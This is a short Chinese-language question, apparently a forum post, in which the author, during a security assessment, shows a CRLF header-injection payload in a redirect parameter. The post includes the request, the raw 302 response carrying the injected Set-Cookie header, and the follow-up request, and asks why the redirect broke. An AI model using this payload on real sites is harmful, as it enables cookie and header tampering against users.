在对网站进行安全评估期间,我发现了一个重定向链接,该链接反映了 Location 标头中的值。我首先想到的是 CRLF 注入,所以我尝试了一些变体"%0a"
并设法将我的有效负载包含在响应中:
要求:
"https://ads.example.com/promoredir?redirect=http%3A%2F%2Fmain.example.com%2F%E5%98%8A%E5%98%8DSet-Cookie:%20test"
回复:
HTTP/1.1 302 Moved Temporarily
Date: Sun, 12 Jul 2015 14:18:41 GMT
Server: Apache
Set-Cookie: JSESSIONID=5C24F2C96CE37DAA026591F5CAD91900; Path=/; Secure; HttpOnly
Location: mail.example.com
Set-Cookie: test
Content-Length: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Vary: User-Agent
Connection: close
Content-Type: text/plain; charset=UTF-8
但是,当我遵循重定向时,我的请求更改为以下内容:
GET /Set-Cookie:%20test" HTTP/1.1
Host: main.example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
我在哪里错了?